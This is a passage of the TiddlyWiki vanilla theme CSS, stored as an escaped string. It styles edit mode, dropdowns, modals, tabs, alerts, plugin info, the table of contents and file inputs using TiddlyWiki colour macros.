toolbar-done-button>>;\n}\n\n/*\n** Tiddler edit mode\n*/\n\n.tc-tiddler-edit-frame em.tc-edit {\n\tcolor: <<colour muted-foreground>>;\n\tfont-style: normal;\n}\n\n.tc-edit-type-dropdown a.tc-tiddlylink-missing {\n\tfont-style: normal;\n}\n\n.tc-type-selector .tc-edit-typeeditor {\n\twidth: 20%;\n}\n\n.tc-edit-tags {\n\tborder: 1px solid <<colour tiddler-editor-border>>;\n\tpadding: 4px 8px 4px 8px;\n}\n\n.tc-edit-add-tag {\n\tdisplay: inline-block;\n}\n\n.tc-edit-add-tag .tc-add-tag-name input {\n\twidth: 50%;\n}\n\n.tc-edit-add-tag .tc-keyboard {\n\tdisplay:inline;\n}\n\n.tc-edit-tags .tc-tag-label {\n\tdisplay: inline-block;\n}\n\n.tc-edit-tags-list {\n\tmargin: 14px 0 14px 0;\n}\n\n.tc-remove-tag-button {\n\tpadding-left: 4px;\n}\n\n.tc-tiddler-preview {\n\toverflow: auto;\n}\n\n.tc-tiddler-preview-preview {\n\tfloat: right;\n\twidth: 49%;\n\tborder: 1px solid <<colour tiddler-editor-border>>;\n\tmargin: 4px 0 3px 3px;\n\tpadding: 3px 3px 3px 3px;\n}\n\n<<if-editor-height-fixed then:\"\"\"\n\n.tc-tiddler-preview-preview {\n\toverflow-y: scroll;\n\theight: {{$:/config/TextEditor/EditorHeight/Height}};\n}\n\n\"\"\">>\n\n.tc-tiddler-frame .tc-tiddler-preview .tc-edit-texteditor {\n\twidth: 49%;\n}\n\n.tc-tiddler-frame .tc-tiddler-preview canvas.tc-edit-bitmapeditor {\n\tmax-width: 49%;\n}\n\n.tc-edit-fields {\n\twidth: 100%;\n}\n\n\n.tc-edit-fields table, .tc-edit-fields tr, .tc-edit-fields td {\n\tborder: none;\n\tpadding: 4px;\n}\n\n.tc-edit-fields > tbody > .tc-edit-field:nth-child(odd) {\n\tbackground-color: <<colour tiddler-editor-fields-odd>>;\n}\n\n.tc-edit-fields > tbody > .tc-edit-field:nth-child(even) {\n\tbackground-color: <<colour tiddler-editor-fields-even>>;\n}\n\n.tc-edit-field-name {\n\ttext-align: right;\n}\n\n.tc-edit-field-value input {\n\twidth: 100%;\n}\n\n.tc-edit-field-remove {\n}\n\n.tc-edit-field-remove svg {\n\theight: 1em;\n\twidth: 1em;\n\tfill: <<colour muted-foreground>>;\n\tvertical-align: middle;\n}\n\n.tc-edit-field-add-name {\n\tdisplay: inline-block;\n\twidth: 15%;\n}\n\n.tc-edit-field-add-value {\n\tdisplay: inline-block;\n\twidth: 40%;\n}\n\n.tc-edit-field-add-button {\n\tdisplay: inline-block;\n\twidth: 10%;\n}\n\n/*\n** Storyview Classes\n*/\n\n.tc-viewswitcher .tc-image-button {\n\tmargin-right: .3em;\n}\n\n.tc-storyview-zoomin-tiddler {\n\tposition: absolute;\n\tdisplay: block;\n\twidth: 100%;\n}\n\n@media (min-width: {{$:/themes/tiddlywiki/vanilla/metrics/sidebarbreakpoint}}) {\n\n\t.tc-storyview-zoomin-tiddler {\n\t\twidth: calc(100% - 84px);\n\t}\n\n}\n\n/*\n** Dropdowns\n*/\n\n.tc-btn-dropdown {\n\ttext-align: left;\n}\n\n.tc-btn-dropdown svg, .tc-btn-dropdown img {\n\theight: 1em;\n\twidth: 1em;\n\tfill: <<colour muted-foreground>>;\n}\n\n.tc-drop-down-wrapper {\n\tposition: relative;\n}\n\n.tc-drop-down {\n\tmin-width: 380px;\n\tborder: 1px solid <<colour dropdown-border>>;\n\tbackground-color: <<colour dropdown-background>>;\n\tpadding: 7px 0 7px 0;\n\tmargin: 4px 0 0 0;\n\twhite-space: nowrap;\n\ttext-shadow: none;\n\tline-height: 1.4;\n}\n\n.tc-drop-down .tc-drop-down {\n\tmargin-left: 14px;\n}\n\n.tc-drop-down button svg, .tc-drop-down a svg {\n\tfill: <<colour foreground>>;\n}\n\n.tc-drop-down button.tc-btn-invisible:hover svg {\n\tfill: <<colour foreground>>;\n}\n\n.tc-drop-down .tc-drop-down-info {\n\tpadding-left: 14px;\n}\n\n.tc-drop-down p {\n\tpadding: 0 14px 0 14px;\n}\n\n.tc-drop-down svg {\n\twidth: 1em;\n\theight: 1em;\n}\n\n.tc-drop-down img {\n\twidth: 1em;\n}\n\n.tc-drop-down a, .tc-drop-down button {\n\tdisplay: block;\n\tpadding: 0 14px 0 14px;\n\twidth: 100%;\n\ttext-align: left;\n\tcolor: <<colour foreground>>;\n\tline-height: 1.4;\n}\n\n.tc-drop-down .tc-tab-set .tc-tab-buttons button {\n\tdisplay: inline-block;\n width: auto;\n margin-bottom: 0px;\n border-bottom-left-radius: 0;\n border-bottom-right-radius: 0;\n}\n\n.tc-drop-down .tc-prompt {\n\tpadding: 0 14px;\n}\n\n.tc-drop-down .tc-chooser {\n\tborder: none;\n}\n\n.tc-drop-down .tc-chooser .tc-swatches-horiz {\n\tfont-size: 0.4em;\n\tpadding-left: 1.2em;\n}\n\n.tc-drop-down .tc-file-input-wrapper {\n\twidth: 100%;\n}\n\n.tc-drop-down .tc-file-input-wrapper button {\n\tcolor: <<colour foreground>>;\n}\n\n.tc-drop-down a:hover, .tc-drop-down button:hover, .tc-drop-down .tc-file-input-wrapper:hover button {\n\tcolor: <<colour tiddler-link-background>>;\n\tbackground-color: <<colour tiddler-link-foreground>>;\n\ttext-decoration: none;\n}\n\n.tc-drop-down .tc-tab-buttons button {\n\tbackground-color: <<colour dropdown-tab-background>>;\n}\n\n.tc-drop-down .tc-tab-buttons button.tc-tab-selected {\n\tbackground-color: <<colour dropdown-tab-background-selected>>;\n\tborder-bottom: 1px solid <<colour dropdown-tab-background-selected>>;\n}\n\n.tc-drop-down-bullet {\n\tdisplay: inline-block;\n\twidth: 0.5em;\n}\n\n.tc-drop-down .tc-tab-contents a {\n\tpadding: 0 0.5em 0 0.5em;\n}\n\n.tc-block-dropdown-wrapper {\n\tposition: relative;\n}\n\n.tc-block-dropdown {\n\tposition: absolute;\n\tmin-width: 220px;\n\tborder: 1px solid <<colour dropdown-border>>;\n\tbackground-color: <<colour dropdown-background>>;\n\tpadding: 7px 0;\n\tmargin: 4px 0 0 0;\n\twhite-space: nowrap;\n\tz-index: 1000;\n\ttext-shadow: none;\n}\n\n.tc-block-dropdown.tc-search-drop-down {\n\tmargin-left: -12px;\n}\n\n.tc-block-dropdown a {\n\tdisplay: block;\n\tpadding: 4px 14px 4px 14px;\n}\n\n.tc-block-dropdown.tc-search-drop-down a {\n\tdisplay: block;\n\tpadding: 0px 10px 0px 10px;\n}\n\n.tc-drop-down .tc-dropdown-item-plain,\n.tc-block-dropdown .tc-dropdown-item-plain {\n\tpadding: 4px 14px 4px 7px;\n}\n\n.tc-drop-down .tc-dropdown-item,\n.tc-block-dropdown .tc-dropdown-item {\n\tpadding: 4px 14px 4px 7px;\n\tcolor: <<colour muted-foreground>>;\n}\n\n.tc-block-dropdown a:hover {\n\tcolor: <<colour tiddler-link-background>>;\n\tbackground-color: <<colour tiddler-link-foreground>>;\n\ttext-decoration: none;\n}\n\n.tc-search-results {\n\tpadding: 0 7px 0 7px;\n}\n\n.tc-image-chooser, .tc-colour-chooser {\n\twhite-space: normal;\n}\n\n.tc-image-chooser a,\n.tc-colour-chooser a {\n\tdisplay: inline-block;\n\tvertical-align: top;\n\ttext-align: center;\n\tposition: relative;\n}\n\n.tc-image-chooser a {\n\tborder: 1px solid <<colour muted-foreground>>;\n\tpadding: 2px;\n\tmargin: 2px;\n\twidth: 4em;\n\theight: 4em;\n}\n\n.tc-colour-chooser a {\n\tpadding: 3px;\n\twidth: 2em;\n\theight: 2em;\n\tvertical-align: middle;\n}\n\n.tc-image-chooser a:hover,\n.tc-colour-chooser a:hover {\n\tbackground: <<colour primary>>;\n\tpadding: 0px;\n\tborder: 3px solid <<colour primary>>;\n}\n\n.tc-image-chooser a svg,\n.tc-image-chooser a img {\n\tdisplay: inline-block;\n\twidth: auto;\n\theight: auto;\n\tmax-width: 3.5em;\n\tmax-height: 3.5em;\n\tposition: absolute;\n\ttop: 0;\n\tbottom: 0;\n\tleft: 0;\n\tright: 0;\n\tmargin: auto;\n}\n\n/*\n** Modals\n*/\n\n.tc-modal-wrapper {\n\tposition: fixed;\n\toverflow: auto;\n\toverflow-y: scroll;\n\ttop: 0;\n\tright: 0;\n\tbottom: 0;\n\tleft: 0;\n\tz-index: 900;\n}\n\n.tc-modal-backdrop {\n\tposition: fixed;\n\ttop: 0;\n\tright: 0;\n\tbottom: 0;\n\tleft: 0;\n\tz-index: 1000;\n\tbackground-color: <<colour modal-backdrop>>;\n}\n\n.tc-modal {\n\tz-index: 1100;\n\tbackground-color: <<colour modal-background>>;\n\tborder: 1px solid <<colour modal-border>>;\n}\n\n@media (max-width: 55em) {\n\t.tc-modal {\n\t\tposition: fixed;\n\t\ttop: 1em;\n\t\tleft: 1em;\n\t\tright: 1em;\n\t}\n\n\t.tc-modal-body {\n\t\toverflow-y: auto;\n\t\tmax-height: 400px;\n\t\tmax-height: 60vh;\n\t}\n}\n\n@media (min-width: 55em) {\n\t.tc-modal {\n\t\tposition: fixed;\n\t\ttop: 2em;\n\t\tleft: 25%;\n\t\twidth: 50%;\n\t}\n\n\t.tc-modal-body {\n\t\toverflow-y: auto;\n\t\tmax-height: 400px;\n\t\tmax-height: 60vh;\n\t}\n}\n\n.tc-modal-header {\n\tpadding: 9px 15px;\n\tborder-bottom: 1px solid <<colour modal-header-border>>;\n}\n\n.tc-modal-header h3 {\n\tmargin: 0;\n\tline-height: 30px;\n}\n\n.tc-modal-header img, .tc-modal-header svg {\n\twidth: 1em;\n\theight: 1em;\n}\n\n.tc-modal-body {\n\tpadding: 15px;\n}\n\n.tc-modal-footer {\n\tpadding: 14px 15px 15px;\n\tmargin-bottom: 0;\n\ttext-align: right;\n\tbackground-color: <<colour modal-footer-background>>;\n\tborder-top: 1px solid <<colour modal-footer-border>>;\n}\n\n/*\n** Notifications\n*/\n\n.tc-notification {\n\tposition: fixed;\n\ttop: 14px;\n\tright: 42px;\n\tz-index: 1300;\n\tmax-width: 280px;\n\tpadding: 0 14px 0 14px;\n\tbackground-color: <<colour notification-background>>;\n\tborder: 1px solid <<colour notification-border>>;\n}\n\n/*\n** Tabs\n*/\n\n.tc-tab-set.tc-vertical {\n\tdisplay: -webkit-flex;\n\tdisplay: flex;\n}\n\n.tc-tab-buttons {\n\tfont-size: 0.85em;\n\tpadding-top: 1em;\n\tmargin-bottom: -2px;\n}\n\n.tc-tab-buttons.tc-vertical {\n\tz-index: 100;\n\tdisplay: block;\n\tpadding-top: 14px;\n\tvertical-align: top;\n\ttext-align: right;\n\tmargin-bottom: inherit;\n\tmargin-right: -1px;\n\tmax-width: 33%;\n\t-webkit-flex: 0 0 auto;\n\tflex: 0 0 auto;\n}\n\n.tc-tab-buttons button.tc-tab-selected {\n\tcolor: <<colour tab-foreground-selected>>;\n\tbackground-color: <<colour tab-background-selected>>;\n\tborder-left: 1px solid <<colour tab-border-selected>>;\n\tborder-top: 1px solid <<colour tab-border-selected>>;\n\tborder-right: 1px solid <<colour tab-border-selected>>;\n}\n\n.tc-tab-buttons button {\n\tcolor: <<colour tab-foreground>>;\n\tpadding: 3px 5px 3px 5px;\n\tmargin-right: 0.3em;\n\tfont-weight: 300;\n\tborder: none;\n\tbackground: inherit;\n\tbackground-color: <<colour tab-background>>;\n\tborder-left: 1px solid <<colour tab-border>>;\n\tborder-top: 1px solid <<colour tab-border>>;\n\tborder-right: 1px solid <<colour tab-border>>;\n\tborder-top-left-radius: 2px;\n\tborder-top-right-radius: 2px;\n\tborder-bottom-left-radius: 0;\n\tborder-bottom-right-radius: 0;\n}\n\n.tc-tab-buttons.tc-vertical button {\n\tdisplay: block;\n\twidth: 100%;\n\tmargin-top: 3px;\n\tmargin-right: 0;\n\ttext-align: right;\n\tbackground-color: <<colour tab-background>>;\n\tborder-left: 1px solid <<colour tab-border>>;\n\tborder-bottom: 1px solid <<colour tab-border>>;\n\tborder-right: none;\n\tborder-top-left-radius: 2px;\n\tborder-bottom-left-radius: 2px;\n\tborder-top-right-radius: 0;\n\tborder-bottom-right-radius: 0;\n}\n\n.tc-tab-buttons.tc-vertical button.tc-tab-selected {\n\tbackground-color: <<colour tab-background-selected>>;\n\tborder-right: 1px solid <<colour tab-background-selected>>;\n}\n\n.tc-tab-divider {\n\tborder-top: 1px solid <<colour tab-divider>>;\n}\n\n.tc-tab-divider.tc-vertical {\n\tdisplay: none;\n}\n\n.tc-tab-content {\n\tmargin-top: 14px;\n}\n\n.tc-tab-content.tc-vertical {\n\tdisplay: inline-block;\n\tvertical-align: top;\n\tpadding-top: 0;\n\tpadding-left: 14px;\n\tborder-left: 1px solid <<colour tab-border>>;\n\t-webkit-flex: 1 0 70%;\n\tflex: 1 0 70%;\n\toverflow: auto;\n}\n\n.tc-sidebar-lists .tc-tab-buttons {\n\tmargin-bottom: -1px;\n}\n\n.tc-sidebar-lists .tc-tab-buttons button.tc-tab-selected {\n\tbackground-color: <<colour sidebar-tab-background-selected>>;\n\tcolor: <<colour sidebar-tab-foreground-selected>>;\n\tborder-left: 1px solid <<colour sidebar-tab-border-selected>>;\n\tborder-top: 1px solid <<colour sidebar-tab-border-selected>>;\n\tborder-right: 1px solid <<colour sidebar-tab-border-selected>>;\n}\n\n.tc-sidebar-lists .tc-tab-buttons button {\n\tbackground-color: <<colour sidebar-tab-background>>;\n\tcolor: <<colour sidebar-tab-foreground>>;\n\tborder-left: 1px solid <<colour sidebar-tab-border>>;\n\tborder-top: 1px solid <<colour sidebar-tab-border>>;\n\tborder-right: 1px solid <<colour sidebar-tab-border>>;\n}\n\n.tc-sidebar-lists .tc-tab-divider {\n\tborder-top: 1px solid <<colour sidebar-tab-divider>>;\n}\n\n.tc-more-sidebar > .tc-tab-set > .tc-tab-buttons > button {\n\tdisplay: block;\n\twidth: 100%;\n\tbackground-color: <<colour sidebar-tab-background>>;\n\tborder-top: none;\n\tborder-left: none;\n\tborder-bottom: none;\n\tborder-right: 1px solid #ccc;\n\tmargin-bottom: inherit;\n}\n\n.tc-more-sidebar > .tc-tab-set > .tc-tab-buttons > button.tc-tab-selected {\n\tbackground-color: <<colour sidebar-tab-background-selected>>;\n\tborder: none;\n}\n\n/*\n** Manager\n*/\n\n.tc-manager-wrapper {\n\t\n}\n\n.tc-manager-controls {\n\t\n}\n\n.tc-manager-control {\n\tmargin: 0.5em 0;\n}\n\n.tc-manager-list {\n\twidth: 100%;\n\tborder-top: 1px solid <<colour muted-foreground>>;\n\tborder-left: 1px solid <<colour muted-foreground>>;\n\tborder-right: 1px solid <<colour muted-foreground>>;\n}\n\n.tc-manager-list-item {\n\n}\n\n.tc-manager-list-item-heading {\n display: block;\n width: 100%;\n text-align: left;\t\n\tborder-bottom: 1px solid <<colour muted-foreground>>;\n\tpadding: 3px;\n}\n\n.tc-manager-list-item-heading-selected {\n\tfont-weight: bold;\n\tcolor: <<colour background>>;\n\tfill: <<colour background>>;\n\tbackground-color: <<colour foreground>>;\n}\n\n.tc-manager-list-item-heading:hover {\n\tbackground: <<colour primary>>;\n\tcolor: <<colour background>>;\n}\n\n.tc-manager-list-item-content {\n\tdisplay: flex;\n}\n\n.tc-manager-list-item-content-sidebar {\n flex: 1 0;\n background: <<colour tiddler-editor-background>>;\n border-right: 0.5em solid <<colour muted-foreground>>;\n border-bottom: 0.5em solid <<colour muted-foreground>>;\n white-space: nowrap;\n}\n\n.tc-manager-list-item-content-item-heading {\n\tdisplay: block;\n\twidth: 100%;\n\ttext-align: left;\n background: <<colour muted-foreground>>;\n\ttext-transform: uppercase;\n\tfont-size: 0.6em;\n\tfont-weight: bold;\n padding: 0.5em 0 0.5em 0;\n}\n\n.tc-manager-list-item-content-item-body {\n\tpadding: 0 0.5em 0 0.5em;\n}\n\n.tc-manager-list-item-content-item-body > pre {\n\tmargin: 0.5em 0 0.5em 0;\n\tborder: none;\n\tbackground: inherit;\n}\n\n.tc-manager-list-item-content-tiddler {\n flex: 3 1;\n border-left: 0.5em solid <<colour muted-foreground>>;\n border-right: 0.5em solid <<colour muted-foreground>>;\n border-bottom: 0.5em solid <<colour muted-foreground>>;\n}\n\n.tc-manager-list-item-content-item-body > table {\n\tborder: none;\n\tpadding: 0;\n\tmargin: 0;\n}\n\n.tc-manager-list-item-content-item-body > table td {\n\tborder: none;\n}\n\n.tc-manager-icon-editor > button {\n\twidth: 100%;\n}\n\n.tc-manager-icon-editor > button > svg,\n.tc-manager-icon-editor > button > button {\n\twidth: 100%;\n\theight: auto;\n}\n\n/*\n** Alerts\n*/\n\n.tc-alerts {\n\tposition: fixed;\n\ttop: 28px;\n\tleft: 0;\n\tright: 0;\n\tmax-width: 50%;\n\tz-index: 20000;\n}\n\n.tc-alert {\n\tposition: relative;\n\tmargin: 14px;\n\tpadding: 7px;\n\tborder: 1px solid <<colour alert-border>>;\n\tbackground-color: <<colour alert-background>>;\n}\n\n.tc-alert-toolbar {\n\tposition: absolute;\n\ttop: 7px;\n\tright: 7px;\n line-height: 0;\n}\n\n.tc-alert-toolbar svg {\n\tfill: <<colour alert-muted-foreground>>;\n}\n\n.tc-alert-subtitle {\n\tcolor: <<colour alert-muted-foreground>>;\n\tfont-weight: bold;\n font-size: 0.8em;\n margin-bottom: 0.5em;\n}\n\n.tc-alert-body > p {\n\tmargin: 0;\n}\n\n.tc-alert-highlight {\n\tcolor: <<colour alert-highlight>>;\n}\n\n@media (min-width: {{$:/themes/tiddlywiki/vanilla/metrics/sidebarbreakpoint}}) {\n\n\t.tc-static-alert {\n\t\tposition: relative;\n\t}\n\n\t.tc-static-alert-inner {\n\t\tposition: absolute;\n\t\tz-index: 100;\n\t}\n\n}\n\n.tc-static-alert-inner {\n\tpadding: 0 2px 2px 42px;\n\tcolor: <<colour static-alert-foreground>>;\n}\n\n/*\n** Floating drafts list\n*/\n\n.tc-drafts-list {\n\tz-index: 2000;\n\tposition: fixed;\n\tfont-size: 0.8em;\n\tleft: 0;\n\tbottom: 0;\n}\n\n.tc-drafts-list a {\n\tmargin: 0 0.5em;\n\tpadding: 4px 4px;\n\tborder-top-left-radius: 4px;\n\tborder-top-right-radius: 4px;\n\tborder: 1px solid <<colour background>>;\n\tborder-bottom-none;\n\tbackground: <<colour dirty-indicator>>;\n\tcolor: <<colour background>>;\n\tfill: <<colour background>>;\n}\n\n.tc-drafts-list a:hover {\n\ttext-decoration: none;\n\tbackground: <<colour foreground>>;\n\tcolor: <<colour background>>;\n\tfill: <<colour background>>;\n}\n\n.tc-drafts-list a svg {\n\twidth: 1em;\n\theight: 1em;\n\tvertical-align: text-bottom;\n}\n\n/*\n** Control panel\n*/\n\n.tc-control-panel td {\n\tpadding: 4px;\n}\n\n.tc-control-panel table, .tc-control-panel table input, .tc-control-panel table textarea {\n\twidth: 100%;\n}\n\n.tc-plugin-info {\n\tdisplay: flex;\n\tborder: 1px solid <<colour muted-foreground>>;\n\tfill: <<colour muted-foreground>>;\n\tbackground-color: <<colour background>>;\n\tmargin: 0.5em 0 0.5em 0;\n\tpadding: 4px;\n align-items: center;\n}\n\n.tc-plugin-info-sub-plugins .tc-plugin-info {\n margin: 0.5em;\n\tbackground: <<colour background>>;\n}\n\n.tc-plugin-info-sub-plugin-indicator {\n\tmargin: -16px 1em 0 2em;\n}\n\n.tc-plugin-info-sub-plugin-indicator button {\n\tcolor: <<colour background>>;\n\tbackground: <<colour foreground>>;\n\tborder-radius: 8px;\n padding: 2px 7px;\n font-size: 0.75em;\n}\n\n.tc-plugin-info-sub-plugins .tc-plugin-info-dropdown {\n\tmargin-left: 1em;\n\tmargin-right: 1em;\n}\n\n.tc-plugin-info-disabled {\n\tbackground: -webkit-repeating-linear-gradient(45deg, #ff0, #ff0 10px, #eee 10px, #eee 20px);\n\tbackground: repeating-linear-gradient(45deg, #ff0, #ff0 10px, #eee 10px, #eee 20px);\n}\n\n.tc-plugin-info-disabled:hover {\n\tbackground: -webkit-repeating-linear-gradient(45deg, #aa0, #aa0 10px, #888 10px, #888 20px);\n\tbackground: repeating-linear-gradient(45deg, #aa0, #aa0 10px, #888 10px, #888 20px);\n}\n\na.tc-tiddlylink.tc-plugin-info:hover {\n\ttext-decoration: none;\n\tbackground-color: <<colour primary>>;\n\tcolor: <<colour background>>;\n\tfill: <<colour foreground>>;\n}\n\na.tc-tiddlylink.tc-plugin-info:hover .tc-plugin-info > .tc-plugin-info-chunk > svg {\n\tfill: <<colour foreground>>;\n}\n\n.tc-plugin-info-chunk {\n margin: 2px;\n}\n\n.tc-plugin-info-chunk.tc-plugin-info-toggle {\n\tflex-grow: 0;\n\tflex-shrink: 0;\n\tline-height: 1;\n}\n\n.tc-plugin-info-chunk.tc-plugin-info-icon {\n\tflex-grow: 0;\n\tflex-shrink: 0;\n\tline-height: 1;\n}\n\n.tc-plugin-info-chunk.tc-plugin-info-description {\n\tflex-grow: 1;\n}\n\n.tc-plugin-info-chunk.tc-plugin-info-buttons {\n\tfont-size: 0.8em;\n\tline-height: 1.2;\n\tflex-grow: 0;\n\tflex-shrink: 0;\n text-align: right;\n}\n\n.tc-plugin-info-chunk.tc-plugin-info-description h1 {\n\tfont-size: 1em;\n\tline-height: 1.2;\n\tmargin: 2px 0 2px 0;\n}\n\n.tc-plugin-info-chunk.tc-plugin-info-description h2 {\n\tfont-size: 0.8em;\n\tline-height: 1.2;\n\tmargin: 2px 0 2px 0;\n}\n\n.tc-plugin-info-chunk.tc-plugin-info-description div {\n\tfont-size: 0.7em;\n\tline-height: 1.2;\n\tmargin: 2px 0 2px 0;\n}\n\n.tc-plugin-info-chunk.tc-plugin-info-toggle img, .tc-plugin-info-chunk.tc-plugin-info-toggle svg {\n\twidth: 1em;\n\theight: 1em;\n}\n\n.tc-plugin-info-chunk.tc-plugin-info-icon img, .tc-plugin-info-chunk.tc-plugin-info-icon svg {\n\twidth: 2em;\n\theight: 2em;\n}\n\n.tc-plugin-info-dropdown {\n\tborder: 1px solid <<colour muted-foreground>>;\n\tbackground: <<colour background>>;\n\tmargin-top: -8px;\n}\n\n.tc-plugin-info-dropdown-message {\n\tbackground: <<colour message-background>>;\n\tpadding: 0.5em 1em 0.5em 1em;\n\tfont-weight: bold;\n\tfont-size: 0.8em;\n}\n\n.tc-plugin-info-dropdown-body {\n\tpadding: 1em 1em 0 1em;\n\tbackground: <<colour background>>;\n}\n\n.tc-plugin-info-sub-plugins {\n\tpadding: 0.5em;\n margin: 0 1em 1em 1em;\n\tbackground: <<colour notification-background>>;\n}\n\n.tc-install-plugin {\n\tfont-weight: bold;\n\tbackground: green;\n\tcolor: white;\n\tfill: white;\n\tborder-radius: 4px;\n\tpadding: 3px;\n}\n\n.tc-install-plugin.tc-reinstall-downgrade {\n\tbackground: red;\n}\n\n.tc-install-plugin.tc-reinstall {\n\tbackground: blue;\n}\n\n.tc-install-plugin.tc-reinstall-upgrade {\n\tbackground: orange;\n}\n\n.tc-check-list {\n\tline-height: 2em;\n}\n\n.tc-check-list .tc-image-button {\n\theight: 1.5em;\n}\n\n/*\n** Message boxes\n*/\n\n.tc-message-box {\n\tborder: 1px solid <<colour message-border>>;\n\tbackground: <<colour message-background>>;\n\tpadding: 0px 21px 0px 21px;\n\tfont-size: 12px;\n\tline-height: 18px;\n\tcolor: <<colour message-foreground>>;\n}\n\n.tc-message-box svg {\n\twidth: 1em;\n\theight: 1em;\n vertical-align: text-bottom;\n}\n\n/*\n** Pictures\n*/\n\n.tc-bordered-image {\n\tborder: 1px solid <<colour muted-foreground>>;\n\tpadding: 5px;\n\tmargin: 5px;\n}\n\n/*\n** Floats\n*/\n\n.tc-float-right {\n\tfloat: right;\n}\n\n/*\n** Chooser\n*/\n\n.tc-chooser {\n\tborder-right: 1px solid <<colour table-header-background>>;\n\tborder-left: 1px solid <<colour table-header-background>>;\n}\n\n\n.tc-chooser-item {\n\tborder-bottom: 1px solid <<colour table-header-background>>;\n\tborder-top: 1px solid <<colour table-header-background>>;\n\tpadding: 2px 4px 2px 14px;\n}\n\n.tc-drop-down .tc-chooser-item {\n\tpadding: 2px;\n}\n\n.tc-chosen,\n.tc-chooser-item:hover {\n\tbackground-color: <<colour table-header-background>>;\n\tborder-color: <<colour table-footer-background>>;\n}\n\n.tc-chosen .tc-tiddlylink {\n\tcursor:default;\n}\n\n.tc-chooser-item .tc-tiddlylink {\n\tdisplay: block;\n\ttext-decoration: none;\n\tbackground-color: transparent;\n}\n\n.tc-chooser-item:hover .tc-tiddlylink:hover {\n\ttext-decoration: none;\n}\n\n.tc-drop-down .tc-chosen .tc-tiddlylink,\n.tc-drop-down .tc-chooser-item .tc-tiddlylink:hover {\n\tcolor: <<colour foreground>>;\n}\n\n.tc-chosen > .tc-tiddlylink:before {\n\tmargin-left: -10px;\n\tposition: relative;\n\tcontent: \"» \";\n}\n\n.tc-chooser-item svg,\n.tc-chooser-item img{\n\twidth: 1em;\n\theight: 1em;\n\tvertical-align: middle;\n}\n\n.tc-language-chooser .tc-image-button img {\n\twidth: 2em;\n\tvertical-align: -0.15em;\n}\n\n/*\n** Palette swatches\n*/\n\n.tc-swatches-horiz {\n}\n\n.tc-swatches-horiz .tc-swatch {\n\tdisplay: inline-block;\n}\n\n.tc-swatch {\n\twidth: 2em;\n\theight: 2em;\n\tmargin: 0.4em;\n\tborder: 1px solid #888;\n}\n\ninput.tc-palette-manager-colour-input {\n\twidth: 100%;\n\tpadding: 0;\n}\n\n/*\n** Table of contents\n*/\n\n.tc-sidebar-lists .tc-table-of-contents {\n\twhite-space: nowrap;\n}\n\n.tc-table-of-contents button {\n\tcolor: <<colour sidebar-foreground>>;\n}\n\n.tc-table-of-contents svg {\n\twidth: 0.7em;\n\theight: 0.7em;\n\tvertical-align: middle;\n\tfill: <<colour sidebar-foreground>>;\n}\n\n.tc-table-of-contents ol {\n\tlist-style-type: none;\n\tpadding-left: 0;\n}\n\n.tc-table-of-contents ol ol {\n\tpadding-left: 1em;\n}\n\n.tc-table-of-contents li {\n\tfont-size: 1.0em;\n\tfont-weight: bold;\n}\n\n.tc-table-of-contents li a {\n\tfont-weight: bold;\n}\n\n.tc-table-of-contents li li {\n\tfont-size: 0.95em;\n\tfont-weight: normal;\n\tline-height: 1.4;\n}\n\n.tc-table-of-contents li li a {\n\tfont-weight: normal;\n}\n\n.tc-table-of-contents li li li {\n\tfont-size: 0.95em;\n\tfont-weight: 200;\n\tline-height: 1.5;\n}\n\n.tc-table-of-contents li li li li {\n\tfont-size: 0.95em;\n\tfont-weight: 200;\n}\n\n.tc-tabbed-table-of-contents {\n\tdisplay: -webkit-flex;\n\tdisplay: flex;\n}\n\n.tc-tabbed-table-of-contents .tc-table-of-contents {\n\tz-index: 100;\n\tdisplay: inline-block;\n\tpadding-left: 1em;\n\tmax-width: 50%;\n\t-webkit-flex: 0 0 auto;\n\tflex: 0 0 auto;\n\tbackground: <<colour tab-background>>;\n\tborder-left: 1px solid <<colour tab-border>>;\n\tborder-top: 1px solid <<colour tab-border>>;\n\tborder-bottom: 1px solid <<colour tab-border>>;\n}\n\n.tc-tabbed-table-of-contents .tc-table-of-contents .toc-item > a,\n.tc-tabbed-table-of-contents .tc-table-of-contents .toc-item-selected > a {\n\tdisplay: block;\n\tpadding: 0.12em 1em 0.12em 0.25em;\n}\n\n.tc-tabbed-table-of-contents .tc-table-of-contents .toc-item > a {\n\tborder-top: 1px solid <<colour tab-background>>;\n\tborder-left: 1px solid <<colour tab-background>>;\n\tborder-bottom: 1px solid <<colour tab-background>>;\n}\n\n.tc-tabbed-table-of-contents .tc-table-of-contents .toc-item > a:hover {\n\ttext-decoration: none;\n\tborder-top: 1px solid <<colour tab-border>>;\n\tborder-left: 1px solid <<colour tab-border>>;\n\tborder-bottom: 1px solid <<colour tab-border>>;\n\tbackground: <<colour tab-border>>;\n}\n\n.tc-tabbed-table-of-contents .tc-table-of-contents .toc-item-selected > a {\n\tborder-top: 1px solid <<colour tab-border>>;\n\tborder-left: 1px solid <<colour tab-border>>;\n\tborder-bottom: 1px solid <<colour tab-border>>;\n\tbackground: <<colour background>>;\n\tmargin-right: -1px;\n}\n\n.tc-tabbed-table-of-contents .tc-table-of-contents .toc-item-selected > a:hover {\n\ttext-decoration: none;\n}\n\n.tc-tabbed-table-of-contents .tc-tabbed-table-of-contents-content {\n\tdisplay: inline-block;\n\tvertical-align: top;\n\tpadding-left: 1.5em;\n\tpadding-right: 1.5em;\n\tborder: 1px solid <<colour tab-border>>;\n\t-webkit-flex: 1 0 50%;\n\tflex: 1 0 50%;\n}\n\n/*\n** Dirty indicator\n*/\n\nbody.tc-dirty span.tc-dirty-indicator, body.tc-dirty span.tc-dirty-indicator svg {\n\tfill: <<colour dirty-indicator>>;\n\tcolor: <<colour dirty-indicator>>;\n}\n\n/*\n** File inputs\n*/\n\n.tc-file-input-wrapper {\n\tposition: relative;\n\toverflow: hidden;\n\tdisplay: inline-block;\n\tvertical-align: middle;\n}\n\n.tc-file-input-wrapper input[type=file] {\n\tposition: absolute;\n\ttop: 0;\n\tleft: 0;\n\tright: 0;\n\tbottom: 0;\n\tfont-size: 999px;\n\tmax-width: 100%;\n\tmax-height: 100%;\n\tfilter: alpha(opacity=0);\n\topacity: 0;\n\toutline: none;\n\tbackground: white;\n\tcursor: pointer;\n\tdisplay: inline-block;\n}\n\n/*\n** Thumbnail macros\n*/\n\n.tc-thumbnail-wrapper {\n\tposition: relative;\n\tdisplay: inline-block;\n\tmargin: 6px;\n\tvertical-align: top;\n}\n\n.tc-thumbnail-right-wrapper {\n\tfloat:right;\n\tmargin: 0.5em 0 0.5em 0.5em;\n}\n\n.tc-thumbnail-image {\n\ttext-align: center;\n\toverflow: hidden;\n\tborder-radius: 